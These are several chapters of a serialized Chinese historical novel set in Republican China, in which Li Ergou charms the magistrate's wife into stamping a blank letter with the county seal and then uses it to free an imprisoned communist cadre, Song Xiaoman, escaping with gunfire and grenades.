站岗的士兵赶忙说道:“哎呀,快把手放下来,这次不用检查了,你快进去吧,别让贾太太等急了。” 李二狗阔步走了进去。 其中一个站岗的士兵看着李二狗的背影,不禁感慨道:“长得帅真好,到哪都吃香。” 贾公馆的花园里,蝉鸣聒噪得人心躁动。 李二狗手里提着一个铁皮工具箱,站在院子中间,由于紧张,身上不断冒出的汗把粗布褂子都粘在了背上。 “你快进来吧。”站岗士兵引着他穿过铺着青石板的庭院,指了指前面的门厅,“贾太太正在里面等着你呢。” 其嫉妒加羡慕之情全部写在干瘪的脸上。 李二狗点点头,踩着青石板往前走,每一步都觉得脚下的青石板像一个吸人的泥沼。 他不知道接下来会发生什么,但总觉得会发生一些令他难以拒绝可事后又令人难以接受的事情。 不可否认,贾太太确实是一个风姿绰约的女人。 她身上的那股骚浪劲,普通男人根本抵御不了。 李二狗相信自己不是普通男人。 他来到门厅前,看到大厅的藤椅上斜倚着一个穿月白色旗袍的女人。 没想到贾太太这么快又换了一身旗袍。 这身旗袍显得更加修身,此时,她的身段丰腴得就像一个熟透的水蜜桃,掐一把肯定满手是蜜汁。 刚褪下来的丝袜搭在扶手上,露出的小腿白得晃眼。 看见李二狗进来,她的嘴角立即漾开一抹妖娆的笑容,眼尾的胭脂像两抹火烧云:“你终于来了。” “是的,贾太太。”李二狗放下工具箱,尽量让自己的声音听起来稳重一些。 贾太太站起身,走到他面前,一股浓郁的香水味裹着脂粉气涌过来。 “不知道你的手艺怎么样?”她的手指轻轻地划过他的手臂,温润滑腻,“不知道能不能把我的头发烫得比大上海弄的还时髦?” 李二狗心里一阵悸动,微微一笑。 “其实用铁棍烫,比电烫的更持久,还不伤头发。” 他边说边打开工具箱,拿出那根刚刚在铁匠铺打造的铁棍。 “这铁棍得用火加热,可能动静会大一点,贾太太不介意吧?” 贾太太瞥了一眼那根黑漆漆的铁棍,眼里闪过一丝诧异,随即又被好奇取代。 “哦?这玩意倒是新鲜。”她走到梳妆台前坐下,对着镜子拨了拨刚洗过的秀发,“来吧,我倒要看看你这铁棍,能烫出什么花样来。” 李二狗咽了口唾沫,说道:“贾太太,您先别着急,您家里有炭火炉子吗?” “厨房里有,我带你去。” “不用,您告诉我厨房在哪,我自己去提过来就行。” 贾太太妖娆地站起身,走到门口,指了指最南面的一间屋子。 “就在那里。哎,让贾县长找两个使唤的老妈子,到现在还没着落,这日子真是没法过了!” 听着像是抱怨,实则是在炫耀自己的身份。 李二狗从厨房里提出一个炭火炉子放在院子里,又往里添加了一些炭火。 火苗“噼啪”地响着,李二狗把铁棍放在炉子上。 不一会儿,炭火就把那截铁棍烧得通红,映得他的脸愈加红润。 “贾太太,烫的时候可能会有点味,您需要忍一忍。” 李二狗用一块提前准备好的湿布裹着烧红的铁棍,走到贾太太身后。 镜子里,她的眼尾正微微上挑,嘴角噙着一抹似笑非笑的笑容,盯着镜子中的李二狗看,看得他心里直发毛。 “来吧,臭小子,下手轻点。” 包裹着湿布的铁棍刚触碰到贾太太的发梢,就发出“滋啦”一声轻响,带着一股焦糊的味道。 贾太太“呀”了一声,却没躲闪,反而从镜子里盯着他:“小弟弟的这门手艺……嘻嘻,你这是在哪学的?” “回太太,以前在乡下的时候看见我们村的地主小姐就用这种方法烫发。” “乡下?”贾太太轻笑一声,从镜子里伸出手,指尖不经意地划过他的手背,“乡下还能养出你这么俊俏的男人?嘻嘻……” 她的指甲涂着猩红的蔻丹,像一朵开得正烈的罂粟花。 李二狗的手猛地一颤,铁棍差点戳到她的脖子上。 第409章 姐不怪我,我怕姐夫怪我 “贾太太,您别笑话我了,我会当真的。”说完他故意往后退了半步,借着添炭的机会避开她的手,“您这头发可真柔顺,而且又黑又亮,烫出来肯定非常好看。” 这话像是一下子搔到了贾太太的痒处,她对着镜子左右照了照,抿嘴笑道:“真得吗?你小子这嘴可真甜,不像有些人,整天就知道喝酒赌博抽大烟,哪懂得这些?!” 她的语气里带了一点怨怼和不满,很显然她口中的有些人是在说贾清德。 李二狗不禁心里一动,手上的动作放慢了一些,故意带着一点惋惜的语气说道:“贾县长是一县之长,一定是公务繁忙,哪有工夫顾得了这些?不像我们这些粗人,就懂得一点伺候人的手艺。” 他边说边转动手里的铁棍,把她耳后的一缕头发卷了起来,指尖有意无意地碰触了一下她白皙的脖颈。 贾太太的身子明显抖了一下,呼吸也加重了一些。 “你小子倒是会哄人。”她故意把身子往李二狗身上凑近了些,香水味更浓了,“比那些只会拍马溜须的秘书可强多了。” 李二狗笑了笑,没有接话,手里的铁棍却烫得更慢了。 他知道像贾太太这种欲望长期得不到满足的官太太,平日里又总被自己的丈夫冷落,心里早就憋着一股火,几句温言软语就能勾得她们心猿意马。 李二狗要做的,就是让这团火烧得更旺一些。 “贾太太,您这副耳环可真好看。”他盯着她耳垂上的珍珠耳环,声音压得低低的,像是在说悄悄话,“衬得您的皮肤跟一块美玉似的。” 贾太太被李二狗夸得眉开眼笑,忍不住抬手摸了摸耳环。 “眼光不错,这是前阵子他托人从上海带回来的。” 她嘴上说着,眼里却没有什么笑意,显然是对这份“礼物”并不稀罕。 李二狗假装没看见,继续用铁棍卷着头发,指尖时不时擦过她的脸颊。 “贾太太,有句话我不知道当说不当说?”李二狗故意显得很犹豫。 贾太太以为李二狗有什么难以启齿的甜言蜜语,满心期待地鼓励道:“这里又没有外人,想说什么就说什么,姐不怪你。” 李二狗立马顺杆往上爬。 “姐,我怕我说了,你会生气。” “姐不生气,你说吧。” “那我说了,姐可不能埋怨我。” “哎呀,你这家伙,快说吧,姐真不怪你。” “姐不怪我,我怕姐夫怪我。” 贾太太的心“扑通扑通”跳了起来,她内心一直盼望的时刻就要到来了。 “你放心吧,姐不告诉他,说吧。” “说起来,昨天我去一户人家送衣服,看见贾县长的车了。”李二狗尽力表现的像是随口一说,“旁边还有个女的,特别年轻。” 李二狗知道,像贾太太这种依附于男人的女人,最怕的就是自己的丈夫喜欢上比自己更年轻更漂亮的女人。 果然,贾太太的脸色瞬间沉了下来。 “什么女人?” “我哪里认识啊?”李二狗把有些发凉的铁棍重新放到炭火炉上,“不过看着确实挺年轻的,穿着一身灰布褂子,被两个当兵的押着,好像是从监狱那边过来的。” 贾太太的手指猛地攥紧了梳妆台的边缘。 “监狱?”她冷笑一声,“我就说他这几天不对劲,天天往监狱跑,原来是有了新欢。” 李二狗心中暗喜,面上却装作很惊讶。 “姐,您真不知道?我无意中听一个监狱的看守说,好像那个女的还是个共产党,贾县长想劝她投降,然后收了当姨太太……” “好他个贾清德!”贾太太猛地站起来,旗袍的开衩扫过梳妆台,把上面的香水瓶扫到地上,“他竟敢纳妾?!” 屋里的空气瞬间凝固,院子里的蝉鸣都被她这声怒喝吓停了。 李二狗低着头,假装很害怕。 “姐,您别生气,我也只是听说罢了,并不一定是真的。” “哼,他贾清德就是这个德性,看见年轻漂亮的女人就要歪心思,老娘这次一定不会让他得逞。” “姐,”李二狗都快急哭了,“您可千万别告诉贾县长是我告诉您的,否则贾县长非枪毙了我不可。” 贾太太转怒为笑,安慰道:“你不要怕,我知道你是为了我好,姐不会亏待你的。” 李二狗浑身起了一身鸡皮疙瘩。 “姐,我看还是先打听清楚再说,可千万别冤枉了贾县长。” “打听?怎么打听?他肯定不会承认的。” “姐,其实不必亲自问贾县长,可以问问他身边的人,打听清楚是不是真有一个年轻漂亮的女共党。” 贾太太一听,连连点头。 “来人,去县政府把王秘书给我叫来!”她走到院子里,声音尖利,门口站岗的士兵不敢耽搁,赶紧答应一声,跑向县政府。 很快,一个戴着眼镜的矮胖男人跑了进来,站在大厅门口,大气不敢出。 “贾太太,您叫我?” “我问你,”贾太太指着他的鼻子,胸口因为生气而剧烈起伏着,好像比平时都大了许多。“贾县长是不是在监狱里关了一个女共产党?还想收她当姨太太?” 王秘书脸色一白,支支吾吾地说道:“太太,您听谁说的……没,没有的事……” “还敢骗我?”贾太太抓起桌上的茶杯就砸了过去,茶水溅了王秘书一身,“我刚才都听说了!你还敢骗我?快说,那个女人叫什么?关在哪里?!” 王秘书被吓得魂飞魄散,“噗通”一声跪在地上:“太太,您息怒啊!我只知道最近的确抓了一个女共党叫宋小曼,她如今被关在县警察局的监狱里,贾县长说……说她是个人才,想劝降了留着有用……” “有用?我看他是想留着给自己暖床吧!”贾太太恨得咬牙切齿,转身抓起搭在椅背上的披肩,“前面带路!我倒要去看看,是什么狐狸精,敢抢我的男人!” 李二狗看着她风风火火地往外走,内心欣喜异常。 他故意慢吞吞地收拾工具箱,等王秘书也跟着跑了出去,才迅速离开了贾公馆。 第410章 你这脾气可真急 李二狗回到葛记裁缝店。 葛二蛋见到李二狗,急忙上前问道:“狗哥,怎么样?打听到宋部长被关押在哪里了吗?” “嗯,”李二狗神色凝重,“她目前被关押在警察局的监狱里。你知道这个监狱的情况吗?” 葛二蛋摇了摇头。 “国民党刚刚占领红安县城,他们各方面的情况还不是很清楚,我现在出去打听打听,看看有没有什么消息。” “好,那你小心一点,千万不要轻举妄动。”李二狗嘱咐道。 “放心吧,我很快就回。” 葛二蛋走后,李二狗一直坐立不安。 虽然已经打听到宋小曼被关押的地方,但想要劫狱救人,却是困难重重。 一直到天色擦黑,葛二蛋才从外边回来。 “二蛋,怎么样?” 葛二蛋摸起桌上的一个茶壶,对着嘴“咕咚咕咚”喝了几大口。 “打听到了,这个监狱在城南,当年是红军修建的,现在被警察局接管了。” “监狱的看守怎么样?” “看守的大约有十几名警察,我下午去附近看了看,高墙电网,大门口的门楼上还架有一挺机枪,劫狱几乎是不可能的。” 李二狗在屋子里踱来踱去,苦苦思索着救人之策。 他一夜无眠。 第二天上午,李二狗再次来到贾公馆。 门口站岗的士兵看到李二狗,阴阳怪气地说道:“伙计,又来找贾太太吗?” “是啊,贾太太在家吗?” 站岗士兵上前拍了拍李二狗的肩膀,小声说道:“贾太太在家,不过昨晚她和贾县长吵得很凶,贾县长昨晚就被气走了,贾太太哭了整整一宿。” 果然吵架了,和李二狗事先预料的一样。 李二狗举起双手,说道:“老总,我找贾太太有点事。” “哎呀,不用搜身了,你快进去吧,小心一点。”说完还不忘给李二狗做了个鬼脸。 李二狗进入院子,远远地便听到贾太太的抽泣声。 “贾太太。”李二狗站在门口,轻轻地敲了敲门。 贾太太听到是李二狗的声音,急忙擦干眼泪,说道:“进来吧。” 李二狗进入屋内,看到贾太太红肿的双眼。 “姐,你这是怎么了?贾县长欺负你了?” 贾太太刚刚忍住的眼泪又“噼里啪啦”掉了下来。 “他这个没良心的,不仅不承认,还打我,呜呜呜……” 李二狗自责道:“都怪我,都怪我,我不该告诉你这些的。” “我知道你是为了姐好,昨天我去监狱看了,那个女共党确实长得貌若天仙,难怪他……呜呜呜……” 李二狗把自己贴身的手绢递给贾太太。 “姐,你别哭了,人家那个女共党也不一定会答应,不然也不会现在还被关在监狱里。” “我的傻弟弟啊,你是没见过那个女共党,那小脸蛋长的,连我见了都喜欢,你想想,那样细皮嫩肉的一个女人,怎么可能受得了监狱那些刑具?她早晚会答应的。” 李二狗心里一阵剧痛。 “姐,接下来你打算怎么办?” 贾太太又呜呜地哭了起来。 “哎,我一个弱女子,能有什么办法?” 说着竟趴到了李二狗身上,李二狗犹豫了片刻,不得不伸手拍了拍她的后背。 “姐,我倒有个办法,只不过……” 贾太太一听有办法,立刻来了精神。 “有什么办法?你快说。” “我们可以让那个女共党消失。 贾太太闻言,吓得脸色都变了。 她连连摆手,说道:“杀人?这……这万万不可!” 李二狗心想,贾太太骨子里还是一个很善良的女人。 “姐,你别误会,杀人的事我也不敢啊。再说,那个女共党是政府的要犯,咱们也没有办法杀了她。” 贾太太疑惑地问道:“那你是什么意思?” “姐,我们不杀她,但是可以把她送走啊,让贾县长永远也见不到她。” “啊?”贾太太没想到李二狗竟出了一个这样的主意,“傻弟弟,你有所不知啊,她是政府的重犯,关在监狱里面,岂是我想送就能送走的?” “姐,可你是县长夫人啊,连县长都听你的,在红安县想放个人犯还不容易吗?” “不容易!”贾太太斩钉截铁地说道。 “姐,我就问你一句话,你到底想不想让贾县长不再见她?” “我当然想啊,可这不是没有办法吗?”贾太太一脸无奈。 “姐,咱俩一见如故,你又对我这么好,这次我豁出去了,我来帮你。” 贾太太感动不已,没想到自己只和李二狗见过三次面,甚至还不知道他的名字,他竟愿意如此帮助自己,这真是老天爷对自己的怜爱。 “你真是姐的好弟弟,你叫什么名字?” “姐,我叫李大狗,我愿意为姐上刀山,下油锅,只要姐一声召唤,就是要我这条狗命我也不会皱一下眉头。” “大狗,你对姐真好,姐都不知道该怎么感谢你了。你说吧,想让姐怎么感谢?只要你要,只要姐有。” 贾太太眼里的柔情蜜意令李二狗连吞三口唾沫,动情的女人真他娘的诱人。 “姐,你给我什么我都喜欢,不过,咱们现在还是先干正事吧?等事成之后,咱们再慢慢交流。” “好,姐听你的。”贾太太忍住要溢出的欲望之火,“大狗,你快说,怎样才能把那个女人送走?” 李二狗郑重地说道:“姐,咱们事先说好啊,私自放走共产党,这可是重罪!即使你是县长夫人,上面要是追查下来,恐怕你也脱不了干系,我听说罗师长可是一个六亲不认的人。” 贾太太被李二狗唬得一愣一愣的。 “这个姐知道,你放心,我不会告诉任何人的,你快说怎么做?” 李二狗便附耳把自己的计划告诉了贾太太。 “这能行吗?”贾太太面露难色,“我怕……” “姐要是害怕那就算了,”李二狗故意长舒一口气,“姐自己的事都不上心,我又何必担这个风险呢?哎,我走了!” 李二狗作势要走,贾太太急忙拉住李二狗,竟撒起了娇。 “人家答应你还不行嘛?你这脾气可真急!” 第411章 贾太太,您误会了 贾太太扭动着她那一尺八的小蛮腰来到县政府。 都说女人的腰夺命的刀,贾太太的腰真能要了男人的命。 不过在县政府,没有哪个男人敢光明正大地盯着她看。 “砰砰砰!” 贾太太用力地拍打着贾清德办公室的房门,她知道贾清德此时并不在办公室。 她刚刚和李二狗隐藏在县政府大门前的一个茶楼里,一直看到贾清德坐着汽车出了县政府的大门,她才扭着丰腴的屁股径直走进了县政府大院。 “贾夫人,贾县长他不在。” 王秘书听到砸门声,赶紧从自己办公室跑出来,还以为发生了什么紧急的事情。 当他看到是贾太太时,心里不由得一紧。 昨天他私自带着贾太太去监狱找宋小曼,尽管没有发生什么意外,但他还是被贾清德狠狠地骂了一顿。 贾清德告诉他,如果再有下次,让他立马滚铺盖滚蛋。 “他去哪了?是不是又去找那个狐狸精了?” 王秘书当然不敢接话,只好赔着笑脸说道:“贾太太,您误会了,贾县长是有公事出去了。” “呵呵,公事?不会是假公济私吧?” 王秘书心都提到了嗓子眼上,急忙解释道:“贾太太,贾县长真得是有公事出去了。” “你把这个门打开,我去里面等他回来。” 王秘书面露难色,说道:“贾太太,要不您还是到我办公室里等吧?我那有一盒刚从巴西进口来的猫屎咖啡,我倒一杯,您尝尝味道怎么样。” “王秘书,你是觉得我家里没有好咖啡是吗?” 贾太太横眉冷对着王秘书,吓得他连连摆手否认。 “不不不,贾夫人,您误会了,我不是那个意思。” “那你是什么意思?”还未等王秘书回话,贾太太继续说道:“我对你是什么意思根本不感兴趣,你赶紧把这个门给我打开,我脚都快站麻了。” 王秘书没有办法,谁叫人家是贾县长的太太呢? 要是她晚上给贾县长吹个枕边风,自己的命运将会被彻底改写。 “贾太太,您稍等,我去拿钥匙。” 王秘书快步回到自己办公室,拿出贾清德办公室的备用钥匙,打开了他办公室的房门。 贾太太径直走到一个沙发上,依然显得怒气冲冲。 王秘书赶紧给她倒了一杯热水。 “贾太太,您喝点水,有什么需要尽管吩咐,我就在隔壁办公室。” “王秘书,你去忙你的,不用管我,我就在这里等他回来,我倒要看看他到底有没有去私会那个小妖精。” 给领导做秘书的最怕遇到领导的这种家务事,清官都难断家务事,何况自己只是一个小秘书。一个不小心,就得两头受气。 “贾太太,那我先去忙了。” 他赶紧关门退了出去。 王秘书一走,贾太太赶紧起身走到房门口,趴在房门上仔细听了听外边的动静。 确定没有异常之后,她才轻轻地把房门在里面反锁,这是李二狗教他的,以防万一。 她快步走到贾清德办公桌前,拉开右侧中间的一个抽屉,里面有一个小铁盒,打开之后,里面有一把保险柜的钥匙。 她拿出钥匙,走到一个保险柜前,把钥匙插了进去。 她的心“扑通扑通”地剧烈跳动着,她从来没有做过如此惊险刺激的事情。 她知道保险柜的钥匙放在什么地方,却不知道保险柜的密码。 只有钥匙,没有密码,保险柜是打不开的。 进入县政府之前,李二狗特意培训了贾太太如何转动密码锁。 “姐,你要记住,这种保险柜有三个数字密码,转动的规律是向右转动三次对准首个密码,然后向左转动两次对准第二个密码,最后再向右转动一次对准第三个密码,记下了吗?” 贾太太嘴里又嘀咕一遍才点了点头。 “那密码是什么?” “对于大部分人来说,设置的三个数字一定是自己非常熟悉的数字,或者是对自己有特殊意义的数字,比如自己的生日,自己太太的生日,或者是结婚纪念日。” 贾太太冷笑道:“他不可能用我的生日作为密码,更不会用什么结婚纪念日。” “那很可能是他自己的生日。姐,等你进去之后,这几组数字你都试一试,如果不行,咱们再想别的办法。” 贾太太按照李二狗教授的方法,开始转动保险柜的密码盘。 她的手不停地颤抖着,深吸了好几口气才稍微平静了一些。 她再次深吸一口气,用贾清德的生日作为密码转动了几下密码盘。 “砰!” 保险柜竟然打开了! 贾太太兴奋得差点跳起来。 她从保险柜里拿出县政府的公章,然后在一张印有县政府红头的空白便笺上盖上一个红彤彤的印戳。 然后她赶紧把便笺折好放在贴身口袋里,又把县政府的公章放回原处,重新锁上保险柜,把钥匙放回原处。 做完这些之后,她便打开房门,准备离开。 “你怎么在这里?” 贾太太刚出房门,迎面正碰到贾清德。 贾太太的心再次剧烈地跳动起来。 “我……我……我知道错了。” 贾太太开始抽抽涕涕地哭了起来。 贾清德赶紧把她推到屋里,关上房门,埋怨道:“这里是县政府,你这样哭哭啼啼的像什么样子?” “人家知道错了嘛,清德,你就原谅人家嘛。” 贾太太的身体抽搐着,梨花带雨的模样让贾清德为之一动。 男人不怕女人哭不怕女人闹,就怕女人突然的温柔。 “好了好了,知道错了就是好女人,乖乖回家吧,我是一县之长,你这样让人听见了笑话。” “那我晚上煲好汤在家等你回来,我今天特意上街买了一条牛尾,晚上我多放点枸杞、人参给炖上,等你回来喝。” 贾清德内心一阵悸动。 “好好,我一定回去喝,晚上我好好卖卖力气,肯定不让你白忙活。” “嘻嘻,你好讨厌,那我先回家了,等你回来哦。” 贾太太扭动着小蛮腰离开了,贾清德的心却变得更加躁动。 第412章 大海中的一叶浮萍 贾太太趾高气扬地从县政府里走了出来,那目空一切的样子,不愧是县长夫人。 她出了县政府的大门,刚要走进对面的茶馆,突然想起李二狗事先交代她的话。 于是她便蹲下身子,低头假装擦了擦脚上那双崭新红色皮鞋上面的灰尘,悄悄转头看了看自己身后,发现并没有人跟随,才起身快步走进了对面的茶馆。 李二狗正在茶馆二楼的一个包厢里等她。 一见面,他便迫不及待地问道:“姐,拿到了吗?” 贾太太故作神秘地一笑,一张俏脸红扑扑的,此时她就像一个刚刚做了一件好事的女孩子,期待得到爸爸的表扬。 李二狗看贾太太不说话,以为没有成功,心里更加焦急。 “姐,你说话啊,到底有没有拿到?” 贾太太这才掏出那张盖着县政府印章的便笺。 “狗崽子,倒比我还着急,你看这是什么?” 贾太太以为李二狗是为自己的事操心操力,心里十分感动。 李二狗赶忙接过便笺,兴奋的手舞足蹈,忍不住亲了一口她的脸颊。 “姐,你实在是太厉害了。” 贾太太被李二狗突如其来的举动弄得有些不知所措,她已经记不清自己到底有多久没有过这种心动的感觉,或许她以前就从来就没有过这种感觉。 “大狗,要不你现在跟我回家吧?他应该晚上才会回来,我们还有一些时间……” 贾太太的声音很小,说完瞅了李二狗一眼便羞涩地低下了头。 李二狗起初没有明白贾太太话里的意思,但他看到她羞涩的样子,才顿时明白过来。 “姐,时间紧迫,接下来我还有不少事情要去准备,今天应该来不及了,咱们还是改日吧。” 贾太太顿时有些失望,她感觉自己一分钟也等不了。 “大狗,我……我想你抱抱我。” 李二狗先是一愣,当她看到贾太太那渴望的眼神,不免有些心软。 他上前抱住贾太太,贾太太顺势把头靠在李二狗的胸口上。 贾太太仰头看向李二狗,然后一脸期待地闭上了眼睛。 李二狗的喉咙快速地滚动了几下,他很想立刻吻上去,那里肯定能带给他无限的满足,但最后他还是忍住了。 他虽然叫二狗,但不能做一条狗。 人的理智一旦被原始的冲动所支配,就很容易犯下不可弥补的错误。 李二狗绝不是见一个爱一个的男人。 贾太太等了半天也没等到渴望中的那片温润,她轻轻地叹了一口气,努力让自己的身体冷静下来。 两个人都没有再说话,就这样静静地抱了一会儿。 “姐,今晚你一定要想办法让贾县长留在家里。” 听了李二狗的话,贾太太内心不免又是一阵难过。 自己明明已经不喜欢贾清德,甚至非常讨厌他,但还是不得不去讨好他,甚至为了保住自己的地位而想尽一切办法不让他纳妾。 在这样一个男尊女卑的时代,她就如滚滚红尘中的一颗微粒,渺小的只能凑个粒数。 如果不依附在贾清德身上,自己就如大海中的一叶浮萍,只能随波涛任意的飘摇,无所依傍。 她内心渴望过上有尊严的生活,可她又过不了那种有尊严的生活。 偶尔和李二狗的这种交往才是她黯淡生活中的一点亮光,支撑着她坚强地走下去。 “大狗,谢谢你,姐知足了,我走了。” 贾太太挣开李二狗的怀抱,开门飘然而去。 李二狗看着贾太太离去的背影,内心不免有一些空虚寂寞以及对她的愧疚感。 夜幕降临之后,贾清德便急不可耐地往家赶。 “贾县长,晚上您还用车吗?”司机张老五问道。 贾清德想了想,说道:“今晚不用了,明天早上七点你再来接我。” 把贾清德送到家后,张老五便直接开车回了家,这是他作为县长司机的特权,明天一早从家里直接去接贾清德上班更方便一些。 他刚停下车,还未来得及锁上车门,就被身后突然窜出的一个人打晕了。 打人之人不是别人,正是李二狗。 “二蛋,快来帮忙,我们把他抬到那边去。” 葛二蛋从黑暗中跑出来,和李二狗一起把张老五抬到不远处的一个废弃院子里。 李二狗三下五除二,便把张老五身上的那套司机制服脱下来穿在自己身上,然后和葛二蛋一起把张老五绑了起来,并在他嘴里塞上了一条毛巾。 两人回到车里,李二狗熟练地打着了火。 “二蛋,我教你的话都记住了吗?” 此时的葛二蛋身穿一身黑色中山装,头发梳得油光锃亮,颇有县政府秘书的派头。 “放心吧,狗哥,我都记住了。” “不知道说什么的时候就尽量少说话,一切看我眼色行事。” 葛二蛋更加钦佩李二狗,这天底下就没有他不会干的事情,连汽车都会开! 李二狗驾驶着贾清德的专车直接向警察局监狱快速驶去。 监狱门口站岗的警察见是贾县长的专车行驶过来,赶忙立正打敬礼。 在整个红安县城,没有哪个警察不认识贾清德的专车。 李二狗摇下玻璃,颐高气使地说道:“贾县长派王秘书来监狱提人,你们赶紧把门打开。” 警察伸头向车内看了看,葛二蛋正襟危坐,喝骂道:“看什么看?快点把门打开,贾县长还等着呢。” 警察不敢怠慢,赶紧抬开门口的护栏并打开大门,李二狗一脚油门冲了进去。 两人一起走进监狱的接待室。 监狱长是一个三十多岁的中年男子,眼睛里透着一股精明。 李二狗说道:“我们是县政府的,奉贾县长之命来提审一个犯人,你就是这所监狱的监狱长?” “是是是,鄙人叫刁德一,是这所监狱的监狱长。” 李二狗把盖有县政府印章的提审公函放到他桌上。 “这位是县政府的王秘书,贾县长的专职秘书,贾县长特意派我们来提审一个犯人,这是提审公函。” 刁德一赶忙拿起桌上的公函,看到上面要提审的人竟是宋小曼。 第413章 贾县长有福了 贾县长怎么会深更半夜来提审一个女共党?这实在是令人难以理解! 但公函用得确实是县政府的便笺,上面盖得也的的确确是县政府的印章。 “两位领导,贾县长这是?” “领导的事情咱们也不好多问,你执行命令就行了。” 刁德一不敢怠慢,赶紧吩咐人去把宋小曼带来。 在等待的时候,刁德一拿出一包烟,分给李二狗和葛二蛋。 “两位领导辛苦了,抽烟抽烟。” 李二狗深深地吸了一口,以此来掩饰内心的紧张。 “哎,监狱长呐,这女犯人要是长得太漂亮也是个麻烦啊……” 刁德一立马豁然开朗,他早就听说贾德清是个大色鬼,没想到连女共党都不放过。 “领导,这个女犯人可是个小辣椒,我怕……,嘿嘿,你懂得。” 李二狗说道:“其实啊,咱们就是那磨道里的驴,只会听领导吆喝,领导让咱们干什么咱们就干什么,至于之后会怎么样,就不是咱们该管的了,你说是吧,刁监狱长?” “是是是,任何时候听领导的话都不会有错。” 很快,狱警便把宋小曼带了过来。 宋小曼披头散发,脸上有几道明显的血痕,身体上也是血迹斑斑,很显然受到了他们的严刑拷打。 李二狗心痛得几乎难以呼吸。 当她抬头看见李二狗和葛二蛋的时候,惊讶得差点喊出李二狗的名字。 李二狗急忙说道:“长得确实挺漂亮,怪不得贾县长如此念念不忘,哈哈。” 刁德一也跟着哈哈大笑起来。 “贾县长今晚有福了,哈哈。” “刁监狱长,那我们就把人带走了,辛苦你了。” 刁德一笑得特别谄媚。 “为贾县长效劳是卑职的荣幸,两位领导,需要你们在这里签个字,然后就可以把人带走了。” 葛二蛋不会写字,便站在原地没有动,脸上故意摆出一副冷冰冰的表情。 李二狗急忙上前,说道:“我来签吧,明天早上我们一定把犯人送回来。” “不急不急。”刁德一谄媚的样子令人作呕。 “刁监狱长,贾县长特意吩咐,今晚的事情不得向任何人提起,否则……你懂我的意思吗?” “卑职明白,请领导放心,我会安排好的。” 李二狗便掏出十几个大洋放在桌上。 “这是贾县长的一点小意思,请兄弟们喝点酒。” “谢谢贾县长,谢谢贾县长,贾县长可真是爱下属如子的好官啊。” 李二狗上前,从狱警手中接过宋小曼。 宋小曼不哭不闹,看向李二狗的眼睛里充满了柔情蜜意。 吓得李二狗赶紧用力捏了一下她的胳膊,并向她使了个眼色。 宋小曼立刻心领神会,边挣扎边喝骂道:“你们要带我去哪里?放开我,我不去!” 李二狗冷“哼”一声,威胁道:“去不去可由不得你,跟我们走。” “我不去!我不去!” 李二狗笑道:“果然是个小辣椒,贾县长今晚有福了,哈哈。” 他不由分说地把宋小曼拉了出去,直接把她塞进了汽车后座,然后自己坐进驾驶室,汽车离开监狱疾驰而去。 刚出了监狱,宋小曼喜极而泣。 “你们怎么来了?刚才吓死我了。” 葛二蛋抢先说道:“我们才被吓死了,看你刚才的样子,恨不得立刻跟我们走。” 宋小曼不好意思地笑了笑,眼睛却看向李二狗。 “见到你们的那一刻,我几乎忘记了自己是在国民党的监狱里。” 此时,李二狗开着车,眼泪却止不住的流了下来。 “小曼,让你受苦了,我们来晚了。” 宋小曼安慰道:“我没事,只是受了一点皮肉伤罢了,你不要担心。” 看着两人你一言我一语,葛二蛋突然觉得自己变成了一个多余的人。 “对了,”宋小曼突然想起了一件事,“王湘云她们还被关在监狱里,我们得想办法把她们救出来。” 李二狗说道:“现在没有机会了,等他们回过神来,一定会在全城搜捕,我们必须先离开县城再想办法。” 宋小曼知道从国民党监狱里救出一个人有多么的困难! 尽管她内心非常想把王湘云等人救出来,但如果自己执意这样做,不仅救不出人,还会连累李二狗和葛二蛋。 很快,汽车便行驶到城门口。 “二蛋,做好准备,万一情况有变,我们冲出去。” 葛二蛋立即掏出手枪,拉动枪栓,子弹上膛,并把两颗手榴弹的后盖拧开。 “放心吧,等会我拿这些好东西招呼这帮兔崽子。” 汽车行驶到城门口的时候,守门的士兵认出这辆车是贾县长的专车。 士兵走到车前,敬了一个军礼。 李二狗只得把车窗摇下来。 他故意板正一张脸,说道:“我们奉贾县长的命令,把犯人押到城外罗师长的师部,你们快把栏杆抬开。” 士兵通过车窗看向后面座位,果然有一个身穿囚衣的女犯人。 “请出示通行证!” “通行证?”李二狗没想到晚上出城还需要通行证,“出来的急,没来得及办通行证,事后再给补上吧,快把栏杆抬开。” 士兵是一个很有原则的人,没有通行证他可不敢轻易放人出去,哪怕是县长的专车。 “对不起,晚上九点钟之后出城,必须有通行证。” 李二狗骂道:“瞎了你的狗眼,看不见这是贾县长的专车吗?快让开,耽误了贾县长和罗师长的事情,你小心吃不了兜着走!” 士兵被李二狗唬得有些发呆,但并没有被他彻底唬住! “对不起,如果你们没有通行证,我需要给上级打个电话请示一下,请你们稍等。” 李二狗故意咳嗽一声,提醒葛二蛋做好准备。 “好吧,那你快去请示,我们有急事。” 士兵刚转身,李二狗猛踩一脚油门,汽车急速向前冲去。 葛二蛋立刻从车窗里扔出几颗手榴弹,同时把手枪伸出车窗外就是一阵急速的射击。 在剧烈的爆炸声中,李二狗开着汽车撞开护栏冲出城外。 第414章 不是冤家不聚头 李二狗开着汽车一路疾驰,在离县城二十里的地方突然停了下来。 葛二蛋转头看了看车窗外,说道:“狗哥,怎么在这里停了?还得往前走一段才到杨家庄。” 李二狗回头看了一眼宋小曼,此时的她也正在温柔地看着她。 两人的表情没有任何变化,但眼神却已交织在一起。 “二蛋,你先带着小曼回杨家庄。” 宋小曼一听急了,连忙问道:“二狗,你要去哪?为什么不和我们一起回去?” 李二狗看着宋小曼担忧的眼神,很想给她一个大大的拥抱,可又碍于葛二蛋在场。 “小曼,你们先回去,我得把车开得再远一些,不能让警察发现杨家庄的地点。” 宋小曼这才松了一口气,她现在最不能面对的就是和李二狗分离。 “那你一个人一定要小心一点,早点回来。” “放心吧,我很快就回去了,”李二狗又转头看向葛二蛋,“二蛋,你们路上一定要小心,现在到处都是国民党的军队。” 葛二蛋保证道:“放心吧,狗哥,我一定会保护好宋部长的。” 两人下车后,李二狗驾驶着汽车急速离开了,宋小曼一直呆呆地看着汽车消失的方向。 葛二蛋终于明白为什么这么多的男人喜欢宋小曼,而她却只对李二狗情有独钟。 李二狗这样的男人值得女人为他着迷! “宋部长,我们快点走吧,这里不安全。” “他一定不会有事的。”宋小曼呢喃道。 李二狗为了安全起见,开着汽车一路向前奔驰,一直开到汽车没油趴了窝。 他自己都没意识到,这一口气就开出了近八十公里的路程。 走回杨家庄,至少需要十几个小时的时间。 他下了车,准备步行走回杨家庄。 “不许动,把手举起来!” 身后突然传来一声暴喝,由于李二狗不知道身后是什么情况,只好乖乖地把双手举过头顶。 